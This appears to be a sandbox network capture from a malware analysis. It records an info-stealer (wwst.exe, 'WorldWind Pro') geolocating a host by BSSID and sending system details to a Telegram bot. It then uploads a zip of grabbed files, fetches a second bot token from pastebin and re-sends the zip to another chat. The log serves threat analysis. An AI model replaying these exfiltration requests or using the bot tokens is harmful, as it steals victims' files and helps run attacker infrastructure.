2023-01-18 22:37:48 UTC	OUT	GET /geolocation/wifi?v=1.1&bssid=00:0c:29:82:cb:33 HTTP/1.1 Host: api.mylnikov.org Connection: Keep-Alive
2023-01-18 22:37:48 UTC	IN	HTTP/1.1 200 OK Date: Wed, 18 Jan 2023 22:37:48 GMT Content-Type: application/json; charset=utf8 Content-Length: 88 Connection: close Access-Control-Allow-Origin: * Cache-Control: max-age=2678400 CF-Cache-Status: MISS Last-Modified: Wed, 18 Jan 2023 22:37:48 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=LTsbjqT5PTxDQiga2kA%2F5m90Kvw91HV%2BYGzDx7NRevl%2F%2B6MdtfHQNyhuluuHcNrlmZH0XigBpqcLNrWPlThadzT9XjYveYMf%2Bce2Dka%2Fr22shOPPk2Qmei32%2FUJz%2FP6A9aik"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 78bad13ade099022-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-01-18 22:37:48 UTC	IN	Data Raw: 7b 22 72 65 73 75 6c 74 22 3a 34 30 34 2c 20 22 64 61 74 61 22 3a 7b 7d 2c 20 22 6d 65 73 73 61 67 65 22 3a 36 2c 20 22 64 65 73 63 22 3a 22 4f 62 6a 65 63 74 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 22 2c 20 22 74 69 6d 65 22 3a 31 36 37 34 30 38 31 34 36 38 7d Data Ascii: {"result":404, "data":{}, "message":6, "desc":"Object was not found", "time":1674081468}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49698	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\wwst.exe

Timestamp	kBytes transferred	Direction	Data
2023-01-18 22:37:50 UTC	0	OUT	GET /bot5980420064:AAHGrlOU2WsgF90Pcyz-L7wrGgC_Cj54k4Q/sendMessage?chat_id=806259874&text=%0A%20%20%F0%9F%8C%AA%20WorldWind%20Pro%20-%20Results:%0ADate:%202023-01-18%2011:37:17%20PM%0ASystem:%20Windows%2010%20Pro%20(64%20Bit)%0AUsername:%20user%0ACompName:%20114127%0ALanguage:%20%F0%9F%87%BA%F0%9F%87%B8%20en-US%0AAntivirus:%20Windows%20Defender.%0A%0A%20%20%F0%9F%92%BB%20Hardware:%0ACPU:%20Intel(R)%20Core(TM)2%20CPU%206600%20@%202.40%20GHz%0AGPU:%20G13ZBYR4%0ARAM:%204095MB%0AHWID:%2050EDCA1BAB%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x1024%0A%0A%20%20%F0%9F%93%A1%20Network:%20%0AGateway%20IP:%20192.168.2.1%0AInternal%20IP:%20No%20network%20adapters%20with%20an%20IPv4%20address%20in%20the%20system!%0AExternal%20IP:%2084.17.52.5%0ABSSID:%2000:0c:29:82:cb:33%0A%0A%20%20%F0%9F%92%B8%20Domains%20info:%0A%20%20%20%E2%88%9F%20%F0%9F%8F%A6%20Bank%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%92%B0%20Crypto%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%8D%93%20Freaky%20Logs%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20Logs:%0A%0A%20%20%F0%9F%97%83%20Software:%0A%0A%20%20%F0%9F%A7%AD%20Device:%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%20%F0%9F%93%84%20File%20Grabber:%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Database%20files:%209%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Documents:%2030%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Images:%2020%0A%0A%20Telegram%20Channel:%20@X_Splinter&parse_mode=Markdown&disable_web_page_preview=True HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2023-01-18 22:37:50 UTC	2	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Wed, 18 Jan 2023 22:37:50 GMT Content-Type: application/json Content-Length: 137 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2023-01-18 22:37:50 UTC	2	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 30 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 42 61 64 20 52 65 71 75 65 73 74 3a 20 63 61 6e 27 74 20 70 61 72 73 65 20 65 6e 74 69 74 69 65 73 3a 20 43 61 6e 27 74 20 66 69 6e 64 20 65 6e 64 20 6f 66 20 74 68 65 20 65 6e 74 69 74 79 20 73 74 61 72 74 69 6e 67 20 61 74 20 62 79 74 65 20 6f 66 66 73 65 74 20 38 37 30 22 7d Data Ascii: {"ok":false,"error_code":400,"description":"Bad Request: can't parse entities: Can't find end of the entity starting at byte offset 870"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49699	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\wwst.exe

Timestamp	kBytes transferred	Direction	Data
2023-01-18 22:37:53 UTC	3	OUT	GET /bot5980420064:AAHGrlOU2WsgF90Pcyz-L7wrGgC_Cj54k4Q/sendMessage?chat_id=806259874&text=%F0%9F%93%81%20Uploading%20Log%20Folders... HTTP/1.1 Host: api.telegram.org
2023-01-18 22:37:53 UTC	3	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Jan 2023 22:37:53 GMT Content-Type: application/json Content-Length: 269 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2023-01-18 22:37:53 UTC	3	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 38 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 39 38 30 34 32 30 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 77 77 73 74 65 61 6c 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 6a 64 77 77 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 38 30 36 32 35 39 38 37 34 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4a 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 6a 64 31 7a 7a 6c 33 33 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 37 34 30 38 31 34 37 33 2c 22 74 65 78 74 22 3a 22 5c 75 64 38 33 64 5c 75 64 63 63 31 20 55 70 6c 6f 61 64 69 6e 67 20 4c 6f 67 Data Ascii: {"ok":true,"result":{"message_id":484,"from":{"id":5980420064,"is_bot":true,"first_name":"wwsteal","username":"jdww_bot"},"chat":{"id":806259874,"first_name":"Jd","username":"jd1zzl33","type":"private"},"date":1674081473,"text":"\ud83d\udcc1 Uploading Log

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.4	49700	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\wwst.exe

Timestamp	kBytes transferred	Direction	Data
2023-01-18 22:37:59 UTC	3	OUT	POST /bot5980420064:AAHGrlOU2WsgF90Pcyz-L7wrGgC_Cj54k4Q/sendDocument?chat_id=806259874 HTTP/1.1 Content-Type: multipart/form-data; boundary="5ecc7be7-1e9d-460c-9509-fd66a098cc43" Host: api.telegram.org Content-Length: 136744 Expect: 100-continue
2023-01-18 22:37:59 UTC	4	IN	HTTP/1.1 100 Continue
2023-01-18 22:37:59 UTC	4	OUT	Data Raw: 2d 2d 35 65 63 63 37 62 65 37 2d 31 65 39 64 2d 34 36 30 63 2d 39 35 30 39 2d 66 64 36 36 61 30 39 38 63 63 34 33 0d 0a Data Ascii: --5ecc7be7-1e9d-460c-9509-fd66a098cc43
2023-01-18 22:37:59 UTC	4	OUT	Data Raw: 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 64 6f 63 75 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 43 3a 5c 55 73 65 72 73 5c 6a 6f 6e 65 73 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 37 64 38 63 32 64 30 32 37 36 66 64 63 66 65 66 30 38 39 31 63 61 32 63 32 65 39 30 66 64 33 37 5c 6a 6f 6e 65 73 40 31 31 34 31 32 37 5f 65 6e 2d 55 53 2e 7a 69 70 22 3b 20 66 69 6c 65 6e 61 6d 65 2a 3d 75 74 66 2d 38 27 27 43 25 33 41 25 35 43 55 73 65 72 73 25 35 43 6a 6f 6e 65 73 25 35 43 41 70 70 44 61 74 61 25 35 43 4c 6f 63 61 6c 25 35 43 37 64 38 63 32 64 30 32 37 36 66 64 63 66 65 66 30 38 39 31 63 61 32 63 32 65 39 30 66 64 33 37 25 35 43 6a 6f 6e 65 73 25 34 30 31 31 34 31 32 37 5f 65 6e 2d Data Ascii: Content-Disposition: form-data; name=document; filename="C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US.zip"; filename*=utf-8''C%3A%5CUsers%5Cuser%5CAppData%5CLocal%5C7d8c2d0276fdcfef0891ca2c2e90fd37%5Cuser%40114127_en-
2023-01-18 22:37:59 UTC	4	OUT	Data Raw: 50 4b 03 04 14 00 00 00 00 00 ba bc 32 56 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 42 72 6f 77 73 65 72 73 5c 47 6f 6f 67 6c 65 5c 50 4b 03 04 14 00 00 00 08 00 ae bc 32 56 3e 92 ce d4 10 01 00 00 5f 02 00 00 17 00 00 00 44 69 72 65 63 74 6f 72 69 65 73 5c 44 65 73 6b 74 6f 70 2e 74 78 74 65 91 cb 6e 83 30 14 44 d7 ad d4 7f c8 17 58 6d 23 65 8f fc 80 cb db 3c 83 d5 1d 8f 88 84 00 0a 51 c5 e7 37 4e b1 42 e2 e5 8c ae 67 ee 3d 26 f5 74 ba 0e e3 cf c7 fb 9b c1 23 46 b3 28 31 5d a9 68 2e 70 66 fa 41 9e 48 b5 92 a8 1a ca 59 5a 26 98 50 24 8c 15 09 9a bb e9 6e d9 84 58 5e 88 49 6a a3 b1 3f 48 c7 71 41 a4 31 70 ea a3 b1 6a a4 c3 71 00 6e c0 c1 c1 e8 3c 6e a5 93 70 c2 6c 2b 4c 21 45 c7 51 be 7a 24 df bb b1 e0 4e 4c 88 97 47 2a 75 55 ad b6 59 c5 2e 45 ab 58 Data Ascii: PK2VBrowsers\Google\PK2V>_Directories\Desktop.txten0DXm#e<Q7NBg=&t#F(1]h.pfAHYZ&P$nX^Ij?HqA1pjqn<npl+L!EQz$NLG*uUY.EX
2023-01-18 22:37:59 UTC	20	OUT	Data Raw: 0d 94 0e 34 e5 62 53 a3 1e a7 8e 1a a6 06 98 23 e1 8e 9b ed 2b 52 61 68 e8 3e f4 82 4c 87 00 08 11 81 df 6b 0a 2f 7b 13 5f 71 f3 d8 5a 61 af e2 a7 7d c4 20 d8 d7 b0 46 9e bc e8 e6 a0 a2 a0 c9 4d 88 bc f3 6e 5e 4c af a3 d4 a4 bd 52 b5 65 2e c9 34 77 a7 9a e9 ae ac f2 ea 92 6f f5 ee f6 53 9f 67 6d a8 80 b6 30 43 2e 22 1a 96 8d be e4 55 9a 40 83 ae 88 4d e1 0b 88 1d ed 91 56 38 5f e5 24 b6 39 4f 09 b5 6d 8a 7a b9 77 8e 29 a6 ed 59 11 d6 d1 b6 48 36 03 f5 c8 7e 06 37 7b 06 13 76 bd de 39 20 7b 83 9a 65 92 7a 28 42 36 cb e9 59 59 a7 ed 36 26 26 18 fd e1 78 db 2c f4 d6 63 fb 52 85 b7 1b ca f4 05 6b 5c 74 e2 72 46 43 4e 67 19 84 d2 0d 99 04 56 92 ed 76 a2 62 e7 3b 70 34 cf ee 1a d3 e0 48 e7 0d 2c 9a 5f 87 b0 03 cf e6 c1 ce a4 6b 2f 2f b8 35 e7 58 ad 3e 7b dc 83 Data Ascii: 4bS#+Rah>Lk/{_qZa} FMn^LRe.4woSgm0C."U@MV8_$9Omzw)YH6~7{v9 {ez(B6YY6&&x,cRk\trFCNgVvb;p4H,_k//5X>{
2023-01-18 22:37:59 UTC	36	OUT	Data Raw: be 2b 49 46 6d 84 38 78 3d 67 66 98 39 f7 3e ee 55 55 b4 90 a5 99 f6 f2 15 52 03 be b5 12 6a a4 a3 b6 8a b4 92 51 8d e9 3c 98 50 81 6e 68 37 9a 72 26 a0 67 c5 30 be 26 b0 07 fe ae fa aa e1 78 85 4d 99 0f 28 23 2a 05 5d 82 bd 71 47 ad 0c c9 b3 cd 6c e1 6c fa ba 1a 4c b6 3a ea 71 9a 0d f2 7d e6 6c 70 fa 63 8a cd dc 26 a5 f9 4a f1 70 39 7e dd ce 2d 95 16 d0 ad b5 03 89 33 9f cf bc 2e 69 c5 ac 21 fa b0 74 c6 ef 1b 15 7d cd 8b 6d d0 5c 70 36 af e9 90 6c f8 27 50 4b 03 04 14 00 00 00 08 00 30 7d 10 55 6d 3f 8e 9a 84 02 00 00 02 04 00 00 34 00 00 00 47 72 61 62 62 65 72 5c 44 52 49 56 45 2d 43 5c 55 73 65 72 73 5c 6a 6f 6e 65 73 5c 44 6f 77 6e 6c 6f 61 64 73 5c 43 5a 51 4b 53 44 44 4d 57 52 2e 70 6e 67 0d 92 49 8e 45 21 08 45 e7 95 fc 45 d9 37 28 76 a8 c8 fe 17 Data Ascii: +IFm8x=gf9>UURjQ<Pnh7r&g0&xM(#*]qGllL:q}lpc&Jp9~-3.i!t}m\p6l'PK0}Um?4Grabber\DRIVE-C\Users\user\Downloads\CZQKSDDMWR.pngIE!EE7(v
2023-01-18 22:37:59 UTC	52	OUT	Data Raw: a4 d4 5f 84 34 7c 99 f4 9d 19 59 cc 5f cf ad cf f2 3e f1 c8 c1 45 60 be 52 91 e8 ce 67 e7 ab b3 f3 a4 45 0e 44 f1 ea 83 e8 53 47 7f 8c c9 ad 73 68 b0 38 26 5c e9 04 af fd 78 d5 eb c2 33 84 fb 5c e9 cb 5e 80 cf d5 77 d5 34 e7 39 58 20 5e f1 a9 44 ca 21 c5 13 92 d1 c7 59 1f 42 05 63 f1 22 43 b1 c0 70 ca aa a2 c4 be c9 df 67 47 0c 28 f3 df 34 26 be 9f 19 8f 48 1a cb a2 f8 c5 d2 04 f4 6c 5a db d5 3f 67 db f0 92 c8 7a c7 ec 7c b0 9a d4 69 2b 75 fe e9 95 dc ba 01 ad ca 0f b5 80 c1 e4 be 5d df d3 81 fb b5 11 1e db 7b 2e 57 8a 6d fe a2 d2 17 30 78 37 b8 2a a6 75 e5 e1 3e b5 17 4d eb ed 82 bc aa 7e ad 86 fb 8f ec 52 5b d3 30 4c 5b 86 58 e0 6d f8 24 e6 fc d6 f1 08 c7 77 5c da 27 f7 a2 f8 e2 d8 e3 a0 f4 cf b7 5d b3 ba 1c fb 9e 6e fa 05 ff ea 45 f5 ca c5 97 64 c2 f6 Data Ascii: _4\|Y_>E`RgEDSGsh8&\x3\^w49X ^D!YBc"CpgG(4&HlZ?gz\|i+u]{.Wm0x7*u>M~R[0L[Xm$w\']nEd
2023-01-18 22:37:59 UTC	68	OUT	Data Raw: c5 fa 60 6d bb 32 ac 6c 34 9a f0 1c 5a 0f 6b 94 a9 6a fa ac b8 7b 4c 34 ba 34 e9 1a 28 b3 44 6b 98 b2 d8 11 df 4e 1c 1c 44 65 83 a4 40 05 fa 28 33 41 52 26 b7 00 1f b0 48 1f c0 a8 4f 18 91 3a 6f 92 4d 56 49 a9 21 b1 f2 92 2f 49 62 2e 2a 23 cb ee 64 b6 da df cd 45 a8 77 c8 b4 11 c0 79 f3 6d 50 a2 bd da 95 c4 22 bb d2 c5 77 b4 5a bb 55 a2 22 66 52 ac ec e3 ef a6 ae 36 8c d7 68 4e cd 9c 75 32 41 1a 18 5a e7 66 61 ba 57 7f 18 19 da 82 c5 17 87 2e 01 71 cd 5c 66 9e 28 1d b1 d2 cf f8 61 57 fc 43 d6 e3 cd 7d 9e e1 f2 3d 53 d7 b6 f7 99 4d 81 4b 9b a9 b4 62 f6 92 af 8e 67 aa 0b 56 bf df 62 03 1e bd 1c 83 4c 7f 3c ed f9 e8 a2 30 4b 75 6f d2 bd 37 59 c0 42 cd 6a 49 e4 1b af c8 2b c0 84 a8 ee 2c cb b1 b9 50 c0 ce 43 4b 09 16 75 fd 71 61 fb 78 49 93 df b5 23 59 8c 29 Data Ascii: `m2l4Zkj{L44(DkNDe@(3AR&HO:oMVI!/Ib.*#dEwymP"wZU"fR6hNu2AZfaW.q\f(aWC}=SMKbgVbL<0Kuo7YBjI+,PCKuqaxI#Y)
2023-01-18 22:37:59 UTC	84	OUT	Data Raw: 83 eb b1 c3 b4 a9 e0 08 dc 79 80 fc 71 e6 a9 97 de 2d c4 1b a2 40 54 0e cc 17 08 f8 6f 37 e1 a2 2c ff 81 9f e7 c1 21 9b 52 c2 df 6a c2 55 09 c0 ac 03 c8 a6 a0 12 6f 38 29 55 ad f7 f1 30 6f 9d 34 6f 01 05 9e 96 35 a2 c0 13 00 f6 e2 12 e5 fd 65 04 b3 80 1c be cf 5b 40 1e b9 ca ad 80 57 31 72 ae 5f a7 bc 5d 87 7c 65 84 99 5e 3f 6f c9 eb 88 c2 07 f7 85 94 e9 d3 34 b9 18 99 e8 23 9f d0 e6 9d 67 8b b9 8c 84 e6 60 64 7e 5d 73 78 1f e6 c3 73 10 fb 4c 3d d8 27 7d 8d 98 7f 8e f1 eb 9a d0 02 f8 3f 13 60 51 1a 0f a9 25 c5 21 44 bf 3a 25 25 e3 4e 09 0a 17 bc 9e 8e 96 02 e3 34 7b 09 20 bb 1e 3e a1 22 a1 62 49 57 78 aa b0 50 18 1c 8b d7 2d 78 c4 4e ba 7d 8d 9d 34 31 b8 38 39 cc b8 13 24 7f 41 84 b1 66 c4 49 40 41 39 de ae 12 f8 24 16 51 f8 1f 87 48 19 14 08 88 fd b2 fb Data Ascii: yq-@To7,!RjUo8)U0o4o5e[@W1r_]\|e^?o4#g`d~]sxsL='}?`Q%!D:%%N4{ >"bIWxP-xN}4189$AfI@A9$QH
2023-01-18 22:37:59 UTC	100	OUT	Data Raw: c2 73 4c 8e fd 5d d0 84 e1 67 d4 13 7a 9d 34 9e bb b5 6b c9 6b 46 fe f9 5d ca 47 2a e1 d7 1f 29 25 4f 24 13 7d 2e 9d 08 e9 bf fd 26 eb a3 f7 db b2 26 f8 42 38 ec 79 c9 b7 fd 20 3a 8f 61 ad df 82 f5 41 32 69 6f c9 6d e9 3e b4 cc a9 cd 45 bc 3e 05 5c c6 79 05 b1 b1 3f a5 b3 fa 2e 87 fa be 69 b9 0b a6 bd 5f 7b ae 4a 52 9e b4 0d cc 09 64 dc ce 61 cf 62 6a 3a b3 a3 d9 b4 93 d2 0d c4 86 b8 60 6f d0 d9 c8 d3 dd be e3 68 bd 19 cb e9 1a f8 8b 59 e1 ee cf 60 44 8f c2 ab fc b9 43 42 30 86 71 3b dd f9 7e ed 17 31 85 05 73 a6 01 f6 17 ab 2c cc d6 5c f0 9f e2 cc 9a d6 b1 0c 2c 67 a3 63 1f 77 06 12 cf e2 4b 69 71 a3 7a b3 87 e0 68 1e 7b 46 1f 4d 02 b3 f1 ae e1 3b 18 23 74 b6 58 ca f0 42 3e d8 a3 fe 8f 19 a4 f4 e5 c9 cc c6 9d de 58 33 5d fb e3 90 d9 c9 cc c1 86 b2 a3 5e Data Ascii: sL]gz4kkF]G*)%O$}.&&B8y :aA2iom>E>\y?.i_{JRdabj:`ohY`DCB0q;~1s,\,gcwKiqzh{FM;#tXB>X3]^
2023-01-18 22:37:59 UTC	116	OUT	Data Raw: 42 e3 67 f7 e1 4a cf c3 27 17 1a 3e 50 85 14 2d 11 dc bc 9e c9 8c 15 d3 84 1d 10 f3 84 17 4b d6 7e 1a a9 b2 7c 31 cd 94 6c 66 db 50 88 02 c5 78 41 7c 0a fb e5 50 a0 57 87 fd c8 37 7e c2 28 10 f6 11 fd b9 73 c4 b1 c6 0b 60 44 58 0e 41 76 34 00 62 df c9 d5 3f b3 53 a6 74 6d 5f c3 f7 c5 88 85 d5 33 43 78 38 c5 1d 52 92 06 63 59 b8 6f eb d6 96 d4 54 61 44 6b 7c e1 1d be e4 fb 16 29 2a 0f 6a ee 82 5f 14 6c 56 73 e0 fb 57 4f fd 88 09 17 a1 b5 4c 93 ca 79 8d b4 3c e2 45 3e 30 31 6a 47 81 38 cf a6 51 20 66 6f 8a 73 b6 4a c8 01 ff 6a e3 31 1b a0 32 e6 63 ff 2a 5b 63 d7 4a 15 0f 0f 58 fd d5 92 84 e4 17 8b bc a0 96 ae 02 90 85 5c 33 8b 62 97 a4 a2 8d ee ce 81 fa 6d 25 87 10 e3 27 57 8c f1 bf 11 47 be ba 23 65 31 b9 17 ad 5b 02 92 cc 3d 0d a7 b2 9f fe d1 78 72 5d ff Data Ascii: BgJ'>P-K~\|1lfPxA\|PW7~(s`DXAv4b?Stm_3Cx8RcYoTaDk\|)j_lVsWOLy<E>01jG8Q fosJj12c[cJX\3bm%'WG#e1[=xr]
2023-01-18 22:37:59 UTC	132	OUT	Data Raw: 65 72 5c 44 52 49 56 45 2d 43 5c 55 73 65 72 73 5c 6a 6f 6e 65 73 5c 44 65 73 6b 74 6f 70 5c 54 51 44 46 4a 48 50 55 49 55 2e 6a 70 67 50 4b 01 02 14 00 14 00 00 00 08 00 30 7d 10 55 fe c2 3f b3 82 02 00 00 02 04 00 00 33 00 00 00 00 00 00 00 00 00 00 00 00 00 cd 1f 00 00 47 72 61 62 62 65 72 5c 44 52 49 56 45 2d 43 5c 55 73 65 72 73 5c 6a 6f 6e 65 73 5c 44 65 73 6b 74 6f 70 5c 54 51 44 46 4a 48 50 55 49 55 2e 78 6c 73 78 50 4b 01 02 14 00 14 00 00 00 08 00 30 7d 10 55 dc be 3b cb 83 02 00 00 02 04 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 22 00 00 47 72 61 62 62 65 72 5c 44 52 49 56 45 2d 43 5c 55 73 65 72 73 5c 6a 6f 6e 65 73 5c 44 65 73 6b 74 6f 70 5c 5a 49 50 58 59 58 57 49 4f 59 2e 6a 70 67 50 4b 01 02 14 00 14 00 00 00 08 00 30 7d 10 55 7d Data Ascii: er\DRIVE-C\Users\user\Desktop\TQDFJHPUIU.jpgPK0}U?3Grabber\DRIVE-C\Users\user\Desktop\TQDFJHPUIU.xlsxPK0}U;2"Grabber\DRIVE-C\Users\user\Desktop\ZIPXYXWIOY.jpgPK0}U}
2023-01-18 22:37:59 UTC	137	OUT	Data Raw: 0d 0a 2d 2d 35 65 63 63 37 62 65 37 2d 31 65 39 64 2d 34 36 30 63 2d 39 35 30 39 2d 66 64 36 36 61 30 39 38 63 63 34 33 2d 2d 0d 0a Data Ascii: --5ecc7be7-1e9d-460c-9509-fd66a098cc43--
2023-01-18 22:37:59 UTC	137	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Jan 2023 22:37:59 GMT Content-Type: application/json Content-Length: 486 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":485,"from":{"id":5980420064,"is_bot":true,"first_name":"wwsteal","username":"jdww_bot"},"chat":{"id":806259874,"first_name":"Jd","username":"jd1zzl33","type":"private"},"date":1674081479,"document":{"file_name":"C_UsersuserAppDataLocal7d8c2d0276fdcfef0891ca2c2e90fd37user@11.zip","mime_type":"application/zip","file_id":"BQACAgQAAxkDAAIB5WPIdMdGjOAYSQRyUwRwzSsRT-3FAALFDgAC1xNBUpT2TnpiI6yxLQQ","file_unique_id":"AgADxQ4AAtcTQVI","file_size":136395}}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.4	49701	104.20.68.143	443	C:\Users\user\AppData\Local\Temp\wwst.exe

Timestamp	kBytes transferred	Direction	Data
2023-01-18 22:37:59 UTC	138	OUT	GET /raw/8u2AsgRy HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2023-01-18 22:37:59 UTC	138	IN	HTTP/1.1 200 OK Date: Wed, 18 Jan 2023 22:37:59 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: EXPIRED Last-Modified: Wed, 18 Jan 2023 19:12:12 GMT Server: cloudflare CF-RAY: 78bad181199890fb-FRA
2023-01-18 22:37:59 UTC	138	IN	Data Raw: 32 65 0d 0a 35 32 39 32 34 30 38 31 35 30 3a 41 41 47 7a 6c 2d 37 71 58 75 75 6e 70 74 4d 78 50 4b 45 35 61 31 55 62 4f 39 35 4d 52 30 6c 51 4e 63 38 0d 0a Data Ascii: 2e5292408150:AAGzl-7qXuunptMxPKE5a1UbO95MR0lQNc8
2023-01-18 22:37:59 UTC	139	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.4	49702	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\wwst.exe

Timestamp	kBytes transferred	Direction	Data
2023-01-18 22:38:00 UTC	139	OUT	POST /bot5292408150:AAGzl-7qXuunptMxPKE5a1UbO95MR0lQNc8/sendDocument?chat_id=5038570348 HTTP/1.1 Content-Type: multipart/form-data; boundary="de92e8e6-f9c0-4441-8849-67cbb8bcdeb9" Host: api.telegram.org Content-Length: 136744 Expect: 100-continue
2023-01-18 22:38:00 UTC	139	IN	HTTP/1.1 100 Continue
2023-01-18 22:38:00 UTC	139	OUT	Data Raw: 2d 2d 64 65 39 32 65 38 65 36 2d 66 39 63 30 2d 34 34 34 31 2d 38 38 34 39 2d 36 37 63 62 62 38 62 63 64 65 62 39 0d 0a Data Ascii: --de92e8e6-f9c0-4441-8849-67cbb8bcdeb9
2023-01-18 22:38:00 UTC	139	OUT	Data Raw: 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 64 6f 63 75 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 43 3a 5c 55 73 65 72 73 5c 6a 6f 6e 65 73 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 37 64 38 63 32 64 30 32 37 36 66 64 63 66 65 66 30 38 39 31 63 61 32 63 32 65 39 30 66 64 33 37 5c 6a 6f 6e 65 73 40 31 31 34 31 32 37 5f 65 6e 2d 55 53 2e 7a 69 70 22 3b 20 66 69 6c 65 6e 61 6d 65 2a 3d 75 74 66 2d 38 27 27 43 25 33 41 25 35 43 55 73 65 72 73 25 35 43 6a 6f 6e 65 73 25 35 43 41 70 70 44 61 74 61 25 35 43 4c 6f 63 61 6c 25 35 43 37 64 38 63 32 64 30 32 37 36 66 64 63 66 65 66 30 38 39 31 63 61 32 63 32 65 39 30 66 64 33 37 25 35 43 6a 6f 6e 65 73 25 34 30 31 31 34 31 32 37 5f 65 6e 2d Data Ascii: Content-Disposition: form-data; name=document; filename="C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US.zip"; filename*=utf-8''C%3A%5CUsers%5Cuser%5CAppData%5CLocal%5C7d8c2d0276fdcfef0891ca2c2e90fd37%5Cuser%40114127_en-
2023-01-18 22:38:00 UTC	139	OUT	Data Raw: 50 4b 03 04 14 00 00 00 00 00 ba bc 32 56 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 42 72 6f 77 73 65 72 73 5c 47 6f 6f 67 6c 65 5c 50 4b 03 04 14 00 00 00 08 00 ae bc 32 56 3e 92 ce d4 10 01 00 00 5f 02 00 00 17 00 00 00 44 69 72 65 63 74 6f 72 69 65 73 5c 44 65 73 6b 74 6f 70 2e 74 78 74 65 91 cb 6e 83 30 14 44 d7 ad d4 7f c8 17 58 6d 23 65 8f fc 80 cb db 3c 83 d5 1d 8f 88 84 00 0a 51 c5 e7 37 4e b1 42 e2 e5 8c ae 67 ee 3d 26 f5 74 ba 0e e3 cf c7 fb 9b c1 23 46 b3 28 31 5d a9 68 2e 70 66 fa 41 9e 48 b5 92 a8 1a ca 59 5a 26 98 50 24 8c 15 09 9a bb e9 6e d9 84 58 5e 88 49 6a a3 b1 3f 48 c7 71 41 a4 31 70 ea a3 b1 6a a4 c3 71 00 6e c0 c1 c1 e8 3c 6e a5 93 70 c2 6c 2b 4c 21 45 c7 51 be 7a 24 df bb b1 e0 4e 4c 88 97 47 2a 75 55 ad b6 59 c5 2e 45 ab 58 Data Ascii: 